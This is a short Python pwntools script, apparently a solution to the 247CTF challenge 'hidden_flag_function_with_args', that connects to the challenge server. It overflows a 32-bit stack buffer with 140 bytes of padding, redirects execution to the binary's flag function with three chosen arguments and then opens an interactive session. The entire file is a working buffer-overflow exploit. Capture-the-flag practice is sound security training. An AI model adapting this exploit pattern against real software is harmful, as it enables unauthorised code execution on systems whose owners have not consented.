#!/usr/bin/python3 from pwn import * context.binary = target = ELF("./hidden_flag_function_with_args", checksec=False) # r = process() r = remote("f3396cb78c7c71ca.247ctf.com", 50257) # funcs s = lambda a: r.sendline(a) # buf buf = b"A"*140 buf += p32(target.sym.flag) buf += p32(0) buf += p32(0x1337) buf += p32(0x247) buf += p32(0x12345678) s(buf) r.interactive()